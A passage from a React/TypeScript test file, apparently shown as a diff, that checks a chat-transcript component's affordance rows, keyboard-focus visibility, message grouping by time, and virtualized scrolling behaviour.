572
|
-
affordances={{
|
|
573
|
-
actions: ({ message }) => <button type="button">{`pin-${message.id}`}</button>,
|
|
574
|
-
}}
|
|
575
|
-
/>
|
|
576
|
-
</MantineProvider>,
|
|
577
|
-
)
|
|
578
|
-
|
|
579
|
-
expect(screen.getByText('pin-aff1')).toBeDefined()
|
|
580
|
-
})
|
|
581
|
-
|
|
582
|
-
test('the live/streaming message never renders an affordance row', () => {
|
|
583
|
-
render(
|
|
584
|
-
<MantineProvider>
|
|
585
|
-
<ThreadTranscript
|
|
586
|
-
messages={[]}
|
|
587
|
-
liveParts={[{ id: 'live-p1', type: 'text', text: 'partial reply' }]}
|
|
588
|
-
liveStatus="streaming"
|
|
589
|
-
/>
|
|
590
|
-
</MantineProvider>,
|
|
591
|
-
)
|
|
592
|
-
|
|
593
|
-
expect(screen.queryByTestId('message-affordances-__live__')).toBeNull()
|
|
594
|
-
expect(screen.queryByLabelText('Copy message')).toBeNull()
|
|
595
|
-
})
|
|
596
|
-
|
|
597
|
-
test('renders no affordance row at all when every affordance resolves to off', () => {
|
|
598
|
-
render(
|
|
599
|
-
<MantineProvider>
|
|
600
|
-
<ThreadTranscript
|
|
601
|
-
messages={singleMessage(Date.now())}
|
|
602
|
-
affordances={{ timestamp: 'none', copy: false }}
|
|
603
|
-
/>
|
|
604
|
-
</MantineProvider>,
|
|
605
|
-
)
|
|
606
|
-
|
|
607
|
-
// No onRegenerate (so no regenerate control, even though this IS the last assistant message)
|
|
608
|
-
// and no custom `actions` either — nothing for the row to show, so `MessageAffordanceRow`
|
|
609
|
-
// renders `null` rather than an empty strip.
|
|
610
|
-
expect(screen.queryByTestId('message-affordances-aff1')).toBeNull()
|
|
611
|
-
})
|
|
612
|
-
|
|
613
|
-
test('a fresh onRegenerate literal each render does not force a re-render either', () => {
|
|
614
|
-
const messages = buildMessages(10)
|
|
615
|
-
const { rerender } = render(
|
|
616
|
-
<MantineProvider>
|
|
617
|
-
<ThreadTranscript messages={messages} affordances={{ onRegenerate: (id) => id }} />
|
|
618
|
-
</MantineProvider>,
|
|
619
|
-
)
|
|
620
|
-
messageBlockRenderCounter.count = 0
|
|
621
|
-
|
|
622
|
-
// A brand-new handler literal every render (the realistic consumer shape this finding names) —
|
|
623
|
-
// `useStableCallback` must absorb this so `resolvedAffordances`'s reference stays put. Note
|
|
624
|
-
// this covers `onRegenerate` ONLY: `actions` is a render prop and is deliberately compared by
|
|
625
|
-
// reference (see the two tests below, and `MessageAffordances.actions`'s own doc).
|
|
626
|
-
rerender(
|
|
627
|
-
<MantineProvider>
|
|
628
|
-
<ThreadTranscript messages={messages} affordances={{ onRegenerate: (id) => id }} />
|
|
629
|
-
</MantineProvider>,
|
|
630
|
-
)
|
|
631
|
-
|
|
632
|
-
expect(messageBlockRenderCounter.count).toBe(0)
|
|
633
|
-
})
|
|
634
|
-
|
|
635
|
-
test('a consumer `actions` render prop reflects the consumer state it closes over', () => {
|
|
636
|
-
// The counterweight to the test above, and the reason `actions` is exempt from
|
|
637
|
-
// `useStableCallback`: `actions` is invoked DURING render to produce nodes, so identity-
|
|
638
|
-
// stabilizing it would freeze `resolvedAffordances` → `settledRows` → the very JSX element
|
|
639
|
-
// objects React reconciles, and the consumer's control would render its first-render output
|
|
640
|
-
// for the transcript's whole lifetime. This is the shape any real pin/star/bookmark action
|
|
641
|
-
// takes.
|
|
642
|
-
const messages = singleMessage(Date.now())
|
|
643
|
-
const { rerender } = render(
|
|
644
|
-
<MantineProvider>
|
|
645
|
-
<ThreadTranscript
|
|
646
|
-
messages={messages}
|
|
647
|
-
affordances={{ actions: () => <span data-testid="pin">pinned: no</span> }}
|
|
648
|
-
/>
|
|
649
|
-
</MantineProvider>,
|
|
650
|
-
)
|
|
651
|
-
|
|
652
|
-
expect(screen.getByTestId('pin').textContent).toBe('pinned: no')
|
|
653
|
-
|
|
654
|
-
rerender(
|
|
655
|
-
<MantineProvider>
|
|
656
|
-
<ThreadTranscript
|
|
657
|
-
messages={messages}
|
|
658
|
-
affordances={{ actions: () => <span data-testid="pin">pinned: yes</span> }}
|
|
659
|
-
/>
|
|
660
|
-
</MantineProvider>,
|
|
661
|
-
)
|
|
662
|
-
|
|
663
|
-
expect(screen.getByTestId('pin').textContent).toBe('pinned: yes')
|
|
664
|
-
})
|
|
665
|
-
|
|
666
|
-
test('a REFERENCE-STABLE `actions` still gets the memo bail-out', () => {
|
|
667
|
-
// The documented opt-out: a consumer that wraps `actions` in its own `useCallback` (modelled
|
|
668
|
-
// here by a module-scope constant) keeps the whole `affordances`-by-reference bail-out, so
|
|
669
|
-
// exempting `actions` costs nothing for a consumer that cares about it.
|
|
670
|
-
const messages = buildMessages(10)
|
|
671
|
-
const { rerender } = render(
|
|
672
|
-
<MantineProvider>
|
|
673
|
-
<ThreadTranscript messages={messages} affordances={{ actions: STABLE_ACTIONS }} />
|
|
674
|
-
</MantineProvider>,
|
|
675
|
-
)
|
|
676
|
-
messageBlockRenderCounter.count = 0
|
|
677
|
-
|
|
678
|
-
rerender(
|
|
679
|
-
<MantineProvider>
|
|
680
|
-
<ThreadTranscript messages={messages} affordances={{ actions: STABLE_ACTIONS }} />
|
|
681
|
-
</MantineProvider>,
|
|
682
|
-
)
|
|
683
|
-
|
|
684
|
-
expect(messageBlockRenderCounter.count).toBe(0)
|
|
685
|
-
})
|
|
686
|
-
})
|
|
687
|
-
|
|
688
|
-
describe('affordance row visibility — hover OR focus-within (a11y)', () => {
|
|
689
|
-
test('a descendant holding focus reveals the row, not just mouse hover', () => {
|
|
690
|
-
render(
|
|
691
|
-
<MantineProvider>
|
|
692
|
-
<ThreadTranscript messages={singleMessage(Date.now())} />
|
|
693
|
-
</MantineProvider>,
|
|
694
|
-
)
|
|
695
|
-
|
|
696
|
-
const row = screen.getByTestId('message-affordances-aff1')
|
|
697
|
-
expect(row.style.opacity).toBe('0')
|
|
698
|
-
|
|
699
|
-
// The row stays mounted regardless of visibility (see `MessageAffordanceRowProps.visible`'s
|
|
700
|
-
// doc), so its Copy control is focusable even before hover/focus reveals it. `focusIn` (not
|
|
701
|
-
// `focus`, which does not bubble) is what `useFocusWithin`'s underlying `addEventListener`
|
|
702
|
-
// actually listens for — matching how a real Tab keypress reaches focus in the browser.
|
|
703
|
-
fireEvent.focusIn(screen.getByLabelText('Copy message'))
|
|
704
|
-
|
|
705
|
-
expect(row.style.opacity).toBe('1')
|
|
706
|
-
|
|
707
|
-
fireEvent.focusOut(screen.getByLabelText('Copy message'))
|
|
708
|
-
|
|
709
|
-
expect(row.style.opacity).toBe('0')
|
|
710
|
-
})
|
|
711
|
-
})
|
|
712
|
-
|
|
713
|
-
describe('groupConsecutive — the Slack rhythm (AGENT-CHAT-SPEC.md §11, default true)', () => {
|
|
714
|
-
const T0 = 1_000_000_000
|
|
715
|
-
|
|
716
|
-
function pair(
|
|
717
|
-
deltaMs: number,
|
|
718
|
-
roleA: ChatMessage<TranscriptPart>['role'] = 'assistant',
|
|
719
|
-
roleB: ChatMessage<TranscriptPart>['role'] = 'assistant',
|
|
720
|
-
): ChatMessage<TranscriptPart>[] {
|
|
721
|
-
return [
|
|
722
|
-
{
|
|
723
|
-
id: 'gp1',
|
|
724
|
-
role: roleA,
|
|
725
|
-
parts: [{ id: 'gp1-p1', type: 'text', text: 'first' }],
|
|
726
|
-
createdAt: T0,
|
|
727
|
-
},
|
|
728
|
-
{
|
|
729
|
-
id: 'gp2',
|
|
730
|
-
role: roleB,
|
|
731
|
-
parts: [{ id: 'gp2-p1', type: 'text', text: 'second' }],
|
|
732
|
-
createdAt: T0 + deltaMs,
|
|
733
|
-
},
|
|
734
|
-
]
|
|
735
|
-
}
|
|
736
|
-
|
|
737
|
-
test('same role within 5 minutes groups — the second message drops its role label and chrome', () => {
|
|
738
|
-
render(
|
|
739
|
-
<MantineProvider>
|
|
740
|
-
<ThreadTranscript messages={pair(60_000)} />
|
|
741
|
-
</MantineProvider>,
|
|
742
|
-
)
|
|
743
|
-
|
|
744
|
-
expect(screen.getAllByText('Assistant')).toHaveLength(1)
|
|
745
|
-
expect(screen.getByTestId('agent-message-gp2').getAttribute('data-grouped')).toBe('true')
|
|
746
|
-
})
|
|
747
|
-
|
|
748
|
-
test('same role at exactly the 5-minute boundary still groups', () => {
|
|
749
|
-
render(
|
|
750
|
-
<MantineProvider>
|
|
751
|
-
<ThreadTranscript messages={pair(5 * 60_000)} />
|
|
752
|
-
</MantineProvider>,
|
|
753
|
-
)
|
|
754
|
-
|
|
755
|
-
expect(screen.getAllByText('Assistant')).toHaveLength(1)
|
|
756
|
-
})
|
|
757
|
-
|
|
758
|
-
test('same role at 5 minutes + 1ms does NOT group', () => {
|
|
759
|
-
render(
|
|
760
|
-
<MantineProvider>
|
|
761
|
-
<ThreadTranscript messages={pair(5 * 60_000 + 1)} />
|
|
762
|
-
</MantineProvider>,
|
|
763
|
-
)
|
|
764
|
-
|
|
765
|
-
expect(screen.getAllByText('Assistant')).toHaveLength(2)
|
|
766
|
-
expect(screen.getByTestId('agent-message-gp2').getAttribute('data-grouped')).toBe('false')
|
|
767
|
-
})
|
|
768
|
-
|
|
769
|
-
test('different roles never group, regardless of how close in time', () => {
|
|
770
|
-
render(
|
|
771
|
-
<MantineProvider>
|
|
772
|
-
<ThreadTranscript messages={pair(0, 'user', 'assistant')} />
|
|
773
|
-
</MantineProvider>,
|
|
774
|
-
)
|
|
775
|
-
|
|
776
|
-
expect(screen.getByText('You')).toBeDefined()
|
|
777
|
-
expect(screen.getByText('Assistant')).toBeDefined()
|
|
778
|
-
})
|
|
779
|
-
|
|
780
|
-
test('the first message never groups — there is no predecessor', () => {
|
|
781
|
-
render(
|
|
782
|
-
<MantineProvider>
|
|
783
|
-
<ThreadTranscript messages={pair(60_000).slice(0, 1)} />
|
|
784
|
-
</MantineProvider>,
|
|
785
|
-
)
|
|
786
|
-
|
|
787
|
-
expect(screen.getByTestId('agent-message-gp1').getAttribute('data-grouped')).toBe('false')
|
|
788
|
-
})
|
|
789
|
-
|
|
790
|
-
test('groupConsecutive={false} disables grouping entirely', () => {
|
|
791
|
-
render(
|
|
792
|
-
<MantineProvider>
|
|
793
|
-
<ThreadTranscript messages={pair(1_000)} groupConsecutive={false} />
|
|
794
|
-
</MantineProvider>,
|
|
795
|
-
)
|
|
796
|
-
|
|
797
|
-
expect(screen.getAllByText('Assistant')).toHaveLength(2)
|
|
798
|
-
})
|
|
799
|
-
})
|
|
800
|
-
|
|
801
|
-
/** A minimal fake matching `MeasurementCacheHost`'s structural shape — no ResizeObserver, no
|
|
802
|
-
* layout engine, no `@tanstack/react-virtual` import at all needed to prove the guard branch. */
|
|
803
|
-
function fakeMeasurementHost({
|
|
804
|
-
cached,
|
|
805
|
-
estimate = 999,
|
|
806
|
-
}: { readonly cached?: number; readonly estimate?: number } = {}) {
|
|
807
|
-
const itemSizeCache = new Map<unknown, number>()
|
|
808
|
-
if (cached !== undefined) itemSizeCache.set('row-key', cached)
|
|
809
|
-
return {
|
|
810
|
-
indexFromElement: () => 0,
|
|
811
|
-
itemSizeCache,
|
|
812
|
-
options: {
|
|
813
|
-
getItemKey: () => 'row-key',
|
|
814
|
-
estimateSize: () => estimate,
|
|
815
|
-
},
|
|
816
|
-
}
|
|
817
|
-
}
|
|
818
|
-
|
|
819
|
-
describe('resolveGuardedMeasurement — a 0 ResizeObserver reading is never a real row measurement', () => {
|
|
820
|
-
const element = document.createElement('div')
|
|
821
|
-
|
|
822
|
-
test('a genuine (non-zero) measurement passes through unchanged', () => {
|
|
823
|
-
const host = fakeMeasurementHost({ cached: 40 })
|
|
824
|
-
expect(resolveGuardedMeasurement(host, element, 145)).toBe(145)
|
|
825
|
-
})
|
|
826
|
-
|
|
827
|
-
test('a 0 reading with a cached size falls back to the LAST-KNOWN size, not 0 — this is the exact mechanism that stops a collapsed virtualized row from poisoning itemSizeCache', () => {
|
|
828
|
-
const host = fakeMeasurementHost({ cached: 220 })
|
|
829
|
-
expect(resolveGuardedMeasurement(host, element, 0)).toBe(220)
|
|
830
|
-
})
|
|
831
|
-
|
|
832
|
-
test('a 0 reading with no prior measurement (first mount) falls back to estimateSize, not 0', () => {
|
|
833
|
-
const host = fakeMeasurementHost({ estimate: 160 })
|
|
834
|
-
expect(resolveGuardedMeasurement(host, element, 0)).toBe(160)
|
|
835
|
-
})
|
|
836
|
-
})
|
|
837
|
-
|
|
838
|
-
describe('resolveInitialScrollAction — the pure decision behind "a virtualized transcript opens at the newest message"', () => {
|
|
839
|
-
test('"start" resolves to skip-done regardless of row count or container height', () => {
|
|
840
|
-
expect(resolveInitialScrollAction('start', 50, 300)).toBe('skip-done')
|
|
841
|
-
expect(resolveInitialScrollAction('start', 0, 0)).toBe('skip-done')
|
|
842
|
-
})
|
|
843
|
-
|
|
844
|
-
test('an empty transcript resolves to skip-done even when targeting "end" — nothing to scroll to', () => {
|
|
845
|
-
expect(resolveInitialScrollAction('end', 0, 300)).toBe('skip-done')
|
|
846
|
-
})
|
|
847
|
-
|
|
848
|
-
test('a non-positive container height resolves to skip-retry, NOT skip-done — a hidden ancestor must not permanently strand the transcript at the top', () => {
|
|
849
|
-
expect(resolveInitialScrollAction('end', 50, 0)).toBe('skip-retry')
|
|
850
|
-
expect(resolveInitialScrollAction('end', 50, -1)).toBe('skip-retry')
|
|
851
|
-
})
|
|
852
|
-
|
|
853
|
-
test('a genuinely measured, non-empty, "end"-targeted mount resolves to scroll', () => {
|
|
854
|
-
expect(resolveInitialScrollAction('end', 50, 300)).toBe('scroll')
|
|
855
|
-
})
|
|
856
|
-
})
|
|
857
|
-
|
|
858
|
-
describe('applyInitialScroll — the ACROSS-CALLS guard that makes the jump fire once, ever', () => {
|
|
859
|
-
// A fake `scrollToEnd` is the boundary here rather than a real DOM `Element.scrollTo` spy on
|
|
860
|
-
// purpose: a real `Virtualizer`'s own `followOnAppend` ALSO calls `scrollTo` on a later append
|
|
861
|
-
// (verified against the installed virtual-core 3.17.1 — `setOptions`'s edge-key-change branch),
|
|
862
|
-
// making that call indistinguishable from this effect's own at the DOM boundary. `applyInitialScroll`
|
|
863
|
-
// is the exact function `VirtualizedRowsInner`'s effect calls, so this proves the real guard, not
|
|
864
|
-
// a hand-mirrored copy of it. `isAtEnd` is likewise a fake rather than a real DOM `scrollTop` read
|
|
865
|
-
// — this describe block proves the STATE MACHINE (fire → verify → settle-or-retry, bounded), not
|
|
866
|
-
// the real browser race the fix exists for, which happy-dom cannot observe (no layout engine —
|
|
867
|
-
// see the `initialScroll` describe block below for what IS provable against the real component).
|
|
868
|
-
|
|
869
|
-
test('fires once, stays unsettled until a later call confirms it via isAtEnd, then never fires again', () => {
|
|
870
|
-
const state: InitialScrollState = { hasApplied: false, attempts: 0 }
|
|
871
|
-
const scrollToEnd = mock(() => {})
|
|
872
|
-
const isAtEnd = mock(() => true)
|
|
873
|
-
|
|
874
|
-
applyInitialScroll(state, 'end', 60, () => 300, scrollToEnd, isAtEnd)
|
|
875
|
-
expect(scrollToEnd).toHaveBeenCalledTimes(1)
|
|
876
|
-
// Not yet permanent: firing is not landing. Verification happens on the NEXT call.
|
|
877
|
-
expect(state.hasApplied).toBe(false)
|
|
878
|
-
|
|
879
|
-
// Simulates the effect re-running on every later streamed append (rows.length keeps growing)
|
|
880
|
-
// — the exact scenario that must NOT re-trigger the jump once it has settled.
|
|
881
|
-
applyInitialScroll(state, 'end', 61, () => 300, scrollToEnd, isAtEnd)
|
|
882
|
-
expect(state.hasApplied).toBe(true)
|
|
883
|
-
|
|
884
|
-
applyInitialScroll(state, 'end', 62, () => 300, scrollToEnd, isAtEnd)
|
|
885
|
-
expect(scrollToEnd).toHaveBeenCalledTimes(1)
|
|
886
|
-
})
|
|
887
|
-
|
|
888
|
-
test('re-fires when isAtEnd reports the jump was reverted before settling — the clobber-recovery path', () => {
|
|
889
|
-
const state: InitialScrollState = { hasApplied: false, attempts: 0 }
|
|
890
|
-
const scrollToEnd = mock(() => {})
|
|
891
|
-
let atEnd = false
|
|
892
|
-
const isAtEnd = () => atEnd
|
|
893
|
-
|
|
894
|
-
// First attempt: fires, unconfirmed.
|
|
895
|
-
applyInitialScroll(state, 'end', 60, () => 300, scrollToEnd, isAtEnd)
|
|
896
|
-
expect(scrollToEnd).toHaveBeenCalledTimes(1)
|
|
897
|
-
|
|
898
|
-
// Next commit: the DOM reports NOT at the end (something else clobbered `scrollTop` in the
|
|
899
|
-
// meantime, e.g. virtual-core's own `_willUpdate` anchor branch) — re-fires rather than
|
|
900
|
-
// accepting the reverted position as final.
|
|
901
|
-
applyInitialScroll(state, 'end', 60, () => 300, scrollToEnd, isAtEnd)
|
|
902
|
-
expect(scrollToEnd).toHaveBeenCalledTimes(2)
|
|
903
|
-
expect(state.hasApplied).toBe(false)
|
|
904
|
-
|
|
905
|
-
// The DOM now holds: settles on the next confirming call.
|
|
906
|
-
atEnd = true
|
|
907
|
-
applyInitialScroll(state, 'end', 60, () => 300, scrollToEnd, isAtEnd)
|
|
908
|
-
expect(scrollToEnd).toHaveBeenCalledTimes(2)
|
|
909
|
-
expect(state.hasApplied).toBe(true)
|
|
910
|
-
|
|
911
|
-
// A further call must not fire again.
|
|
912
|
-
applyInitialScroll(state, 'end', 61, () => 300, scrollToEnd, isAtEnd)
|
|
913
|
-
expect(scrollToEnd).toHaveBeenCalledTimes(2)
|
|
914
|
-
})
|
|
915
|
-
|
|
916
|
-
test('gives up after MAX_INITIAL_SCROLL_ATTEMPTS rather than retrying forever against a DOM that never confirms', () => {
|
|
917
|
-
const state: InitialScrollState = { hasApplied: false, attempts: 0 }
|
|
918
|
-
const scrollToEnd = mock(() => {})
|
|
919
|
-
// never confirms — the pathological case this bound exists for
|
|
920
|
-
const isAtEnd = mock(() => false)
|
|
921
|
-
|
|
922
|
-
for (let i = 0; i < 20; i += 1) {
|
|
923
|
-
applyInitialScroll(state, 'end', 60, () => 300, scrollToEnd, isAtEnd)
|
|
924
|
-
}
|
|
925
|
-
|
|
926
|
-
expect(state.hasApplied).toBe(true)
|
|
927
|
-
expect(scrollToEnd).toHaveBeenCalledTimes(MAX_INITIAL_SCROLL_ATTEMPTS)
|
|
928
|
-
|
|
929
|
-
// Once given up, further calls are true no-ops.
|
|
930
|
-
applyInitialScroll(state, 'end', 61, () => 300, scrollToEnd, isAtEnd)
|
|
931
|
-
expect(scrollToEnd).toHaveBeenCalledTimes(MAX_INITIAL_SCROLL_ATTEMPTS)
|
|
932
|
-
})
|
|
933
|
-
|
|
934
|
-
test('"start" marks done WITHOUT ever calling scrollToEnd — mutation-proof for the skip-done branch not silently becoming skip-retry', () => {
|
|
935
|
-
const state: InitialScrollState = { hasApplied: false, attempts: 0 }
|
|
936
|
-
const scrollToEnd = mock(() => {})
|
|
937
|
-
const isAtEnd = mock(() => false)
|
|
938
|
-
|
|
939
|
-
applyInitialScroll(state, 'start', 60, () => 300, scrollToEnd, isAtEnd)
|
|
940
|
-
|
|
941
|
-
expect(scrollToEnd).not.toHaveBeenCalled()
|
|
942
|
-
expect(isAtEnd).not.toHaveBeenCalled()
|
|
943
|
-
expect(state.hasApplied).toBe(true)
|
|
944
|
-
})
|
|
945
|
-
|
|
946
|
-
test('an empty transcript marks done WITHOUT ever calling scrollToEnd', () => {
|
|
947
|
-
const state: InitialScrollState = { hasApplied: false, attempts: 0 }
|
|
948
|
-
const scrollToEnd = mock(() => {})
|
|
949
|
-
const isAtEnd = mock(() => false)
|
|
950
|
-
|
|
951
|
-
applyInitialScroll(state, 'end', 0, () => 300, scrollToEnd, isAtEnd)
|
|
952
|
-
|
|
953
|
-
expect(scrollToEnd).not.toHaveBeenCalled()
|
|
954
|
-
expect(isAtEnd).not.toHaveBeenCalled()
|
|
955
|
-
expect(state.hasApplied).toBe(true)
|
|
956
|
-
})
|
|
957
|
-
|
|
958
|
-
test('a hidden (0px) container retries on a later call instead of being permanently stranded, then settles once confirmed', () => {
|
|
959
|
-
const state: InitialScrollState = { hasApplied: false, attempts: 0 }
|
|
960
|
-
const scrollToEnd = mock(() => {})
|
|
961
|
-
const isAtEnd = mock(() => true)
|
|
962
|
-
|
|
963
|
-
// First attempt: mounted behind a `display: none` ancestor — measures 0.
|
|
964
|
-
applyInitialScroll(state, 'end', 60, () => 0, scrollToEnd, isAtEnd)
|
|
965
|
-
expect(scrollToEnd).not.toHaveBeenCalled()
|
|
966
|
-
expect(state.hasApplied).toBe(false)
|
|
967
|
-
|
|
968
|
-
// Second attempt — the row was re-expanded, so the SAME row count now measures. Deliberately
|
|
969
|
-
// NOT a changed count: the commit that un-hides a `ThreadFeedRow` body changes nothing the
|
|
970
|
-
// effect could key a dependency array on, which is why that effect has none. Fires, unconfirmed.
|
|
971
|
-
applyInitialScroll(state, 'end', 60, () => 300, scrollToEnd, isAtEnd)
|
|
972
|
-
expect(scrollToEnd).toHaveBeenCalledTimes(1)
|
|
973
|
-
expect(state.hasApplied).toBe(false)
|
|
974
|
-
|
|
975
|
-
// Third attempt (next commit): confirmed settled.
|
|
976
|
-
applyInitialScroll(state, 'end', 61, () => 300, scrollToEnd, isAtEnd)
|
|
977
|
-
expect(scrollToEnd).toHaveBeenCalledTimes(1)
|
|
978
|
-
expect(state.hasApplied).toBe(true)
|
|
979
|
-
|
|
980
|
-
// A fourth attempt must not fire again.
|
|
981
|
-
applyInitialScroll(state, 'end', 62, () => 300, scrollToEnd, isAtEnd)
|
|
982
|
-
expect(scrollToEnd).toHaveBeenCalledTimes(1)
|
|
983
|
-
})
|
|
984
|
-
|
|
985
|
-
test('the container-height read happens at most once per mount — verification never touches it, only isAtEnd', () => {
|
|
986
|
-
const state: InitialScrollState = { hasApplied: false, attempts: 0 }
|
|
987
|
-
const scrollToEnd = mock(() => {})
|
|
988
|
-
const getContainerHeight = mock(() => 300)
|
|
989
|
-
const isAtEnd = mock(() => true)
|
|
990
|
-
|
|
991
|
-
applyInitialScroll(state, 'end', 60, getContainerHeight, scrollToEnd, isAtEnd)
|
|
992
|
-
expect(getContainerHeight).toHaveBeenCalledTimes(1)
|
|
993
|
-
expect(isAtEnd).not.toHaveBeenCalled()
|
|
994
|
-
|
|
995
|
-
// Verification call — reads `isAtEnd`, not `getContainerHeight` (no forced `offsetHeight`
|
|
996
|
-
// layout once the row count / container height have already done their one job).
|
|
997
|
-
applyInitialScroll(state, 'end', 61, getContainerHeight, scrollToEnd, isAtEnd)
|
|
998
|
-
expect(getContainerHeight).toHaveBeenCalledTimes(1)
|
|
999
|
-
expect(isAtEnd).toHaveBeenCalledTimes(1)
|
|
1000
|
-
expect(state.hasApplied).toBe(true)
|
|
1001
|
-
|
|
1002
|
-
// Every later commit (one per streamed chunk on a live thread) re-runs the dependency-free
|
|
1003
|
-
// effect — a settled transcript must touch neither thunk.
|
|
1004
|
-
applyInitialScroll(state, 'end', 62, getContainerHeight, scrollToEnd, isAtEnd)
|
|
1005
|
-
expect(getContainerHeight).toHaveBeenCalledTimes(1)
|
|
1006
|
-
expect(isAtEnd).toHaveBeenCalledTimes(1)
|
|
1007
|
-
})
|
|
1008
|
-
})
|
|
1009
|
-
|
|
1010
|
-
function manyMessages(count: number): ChatMessage<TranscriptPart>[] {
|
|
1011
|
-
const t0 = 1_000_000_000
|
|
1012
|
-
return Array.from({ length: count }, (_, i) => ({
|
|
1013
|
-
id: `vm${i}`,
|
|
1014
|
-
role: i % 2 === 0 ? 'user' : 'assistant',
|
|
1015
|
-
// 10 minutes apart — never groups, keeping this describe block orthogonal to grouping.
|
|
1016
|
-
parts: [{ id: `vm${i}-p1`, type: 'text', text: `message ${i}` }],
|
|
1017
|
-
createdAt: t0 + i * 10 * 60_000,
|
|
1018
|
-
}))
|
|
1019
|
-
}
|
|
1020
|
-
|
|
1021
|
-
// `virtual-core` itself unconditionally calls `scrollTo({ top: 0, behavior: undefined })` the
|
|
1022
|
-
// moment ANY virtualizer first attaches its scroll element (`_willUpdate`'s
|
|
1023
|
-
// `this.scrollElement !== scrollElement` branch, verified against the installed 3.17.1 source) —
|
|
1024
|
-
// that call exists with or without this feature and is not evidence of anything. The initial-scroll
|
|
1025
|
-
// effect's own call is `scrollToEnd({ behavior: 'auto' })`, so an explicit `behavior: 'auto'`
|
|
1026
|
-
// argument is what's genuinely diagnostic — and, on the very FIRST mount (before any append has
|
|
1027
|
-
// ever run `setOptions` again), it can only have come from that effect: `followOnAppend`'s own
|
|
1028
|
-
// `behavior: 'auto'` re-scroll is gated on `prevOptions !== undefined`, i.e. it never fires on
|
|
1029
|
-
// construction. (A later append's `followOnAppend` call is indistinguishable from the effect's own
|
|
1030
|
-
// at this DOM boundary — the `applyInitialScroll` describe block above proves the once-ever
|
|
1031
|
-
// guarantee with a fake `scrollToEnd` instead, precisely because of that ambiguity.)
|
|
1032
|
-
// Typed structurally rather than as `ReturnType<typeof spyOn>`: `spyOn` is generic over the object
|
|
1033
|
-
// and key being spied on, so referencing its return type with the type arguments unresolved leaves
|
|
1034
|
-
// `mock.calls` uninferrable and every callback parameter an implicit `any` (a tsc error under this
|
|
1035
|
-
// package's strict config — `bun test` alone never sees it).
|
|
1036
|
-
function autoBehaviorCalls(spy: {
|
|
1037
|
-
readonly mock: { readonly calls: readonly unknown[][] }
|
|
1038
|
-
}): number {
|
|
1039
|
-
return spy.mock.calls.filter(
|
|
1040
|
-
(call) => (call[0] as { behavior?: string } | undefined)?.behavior === 'auto',
|
|
1041
|
-
).length
|
|
1042
|
-
}
|
|
1043
|
-
|
|
1044
|
-
describe('virtualization (AGENT-CHAT-SPEC.md §9)', () => {
|
|
1045
|
-
let originalOffsetHeight: PropertyDescriptor | undefined
|
|
1046
|
-
|
|
1047
|
-
beforeEach(() => {
|
|
1048
|
-
originalOffsetHeight = Object.getOwnPropertyDescriptor(HTMLElement.prototype, 'offsetHeight')
|
|
1049
|
-
// happy-dom has no layout engine — every element's offsetHeight is always 0, which makes
|
|
1050
|
-
// TanStack Virtual compute a zero-height viewport and render nothing at all. A fixed value
|
|
1051
|
-
// gives it a real, deterministic non-degenerate viewport to compute a visible window against.
|
|
1052
|
-
Object.defineProperty(HTMLElement.prototype, 'offsetHeight', { configurable: true, value: 300 })
|
|
1053
|
-
})
|
|
1054
|
-
|
|
1055
|
-
afterEach(() => {
|
|
1056
|
-
if (originalOffsetHeight !== undefined) {
|
|
1057
|
-
Object.defineProperty(HTMLElement.prototype, 'offsetHeight', originalOffsetHeight)
|
|
1058
|
-
} else {
|
|
1059
|
-
delete (HTMLElement.prototype as { offsetHeight?: number }).offsetHeight
|
|
1060
|
-
}
|
|
1061
|
-
})
|
|
1062
|
-
|
|
1063
|
-
test('virtualize renders a windowed subset of a large thread, once the lazy import resolves', async () => {
|
|
1064
|
-
const messages = manyMessages(200)
|
|
1065
|
-
const { container } = render(
|
|
1066
|
-
<MantineProvider>
|
|
1067
|
-
<ThreadTranscript messages={messages} virtualize height={300} />
|
|
1068
|
-
</MantineProvider>,
|
|
1069
|
-
)
|
|
1070
|
-
|
|
1071
|
-
// The Suspense fallback (`VirtualizeSuspenseFallback`) is an EMPTY placeholder with no row
|
|
1072
|
-
// content at all, so waiting for ANY rendered row can only resolve once the lazy
|
|
1073
|
-
// `@tanstack/react-virtual` import has settled and the real virtualizer has mounted — unlike
|
|
1074
|
-
// the assertion this replaces (`await screen.findByText('message 199')`), which resolved from
|
|
1075
|
-
// the OLD full-row-tree fallback at SYNCHRONOUS tick 0, before any `await`, regardless of
|
|
1076
|
-
// whether the import ever resolved or the virtualizer ever ran.
|
|
1077
|
-
//
|
|
1078
|
-
// Which row lands first is deliberately NOT asserted: happy-dom has no layout/scroll engine
|
|
1079
|
-
// (every element's `scrollHeight`/`offsetHeight` beyond the stubbed constant above is 0), so
|
|
1080
|
-
// `anchorTo: 'end'` cannot be proven in this harness — observed locally, the virtualizer mounts
|
|
1081
|
-
// starting at index 0, not the tail, here. That behaviour remains unverified until the browser
|
|
1082
|
-
// gate; this test only proves the async mount + windowing, not the anchor direction.
|
|
1083
|
-
await waitFor(() => {
|
|
1084
|
-
const renderedCount = container.querySelectorAll('[data-testid^="agent-message-"]').length
|
|
1085
|
-
expect(renderedCount).toBeGreaterThan(0)
|
|
1086
|
-
expect(renderedCount).toBeLessThan(200)
|
|
1087
|
-
})
|
|
1088
|
-
})
|
|
1089
|
-
|
|
1090
|
-
test('virtualize keeps windowing with an active live/streaming turn appended', async () => {
|
|
1091
|
-
const messages = manyMessages(80)
|
|
1092
|
-
const { container } = render(
|
|
1093
|
-
<MantineProvider>
|
|
1094
|
-
<ThreadTranscript
|
|
1095
|
-
messages={messages}
|
|
1096
|
-
virtualize
|
|
1097
|
-
height={300}
|
|
1098
|
-
liveParts={[{ id: 'live-p1', type: 'text', text: 'streaming reply' }]}
|
|
1099
|
-
liveStatus="streaming"
|
|
1100
|
-
/>
|
|
1101
|
-
</MantineProvider>,
|
|
1102
|
-
)
|
|
1103
|
-
|
|
1104
|
-
await waitFor(() => {
|
|
1105
|
-
expect(container.querySelectorAll('[data-testid^="agent-message-"]').length).toBeGreaterThan(
|
|
1106
|
-
0,
|
|
1107
|
-
)
|
|
1108
|
-
})
|
|
1109
|
-
|
|
1110
|
-
// `anchorTo: 'end'` cannot be relied on in happy-dom (no layout/scroll engine — see the
|
|
1111
|
-
// previous test's comment), so the live block does not necessarily paint on its own. This
|
|
1112
|
-
// proves the settled/live SPLIT (the `settledRows`/`liveRow`/`rows` memos from finding #2) still
|
|
1113
|
-
// hands the virtualizer one COMBINED row set that genuinely includes the live block, by
|
|
1114
|
-
// manually scrolling the pane to its reported end and confirming the live message is what
|
|
1115
|
-
// renders there — not that a live message got dropped when it was pulled out of the settled
|
|
1116
|
-
// memo.
|
|
1117
|
